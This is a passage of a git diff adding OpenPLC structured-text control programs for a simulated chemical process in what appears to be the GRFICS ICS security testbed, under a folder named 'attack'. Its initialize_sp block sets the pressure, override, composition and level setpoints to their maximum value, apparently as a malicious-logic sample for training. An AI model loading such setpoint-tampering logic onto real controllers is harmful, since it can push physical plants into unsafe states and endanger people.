curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + 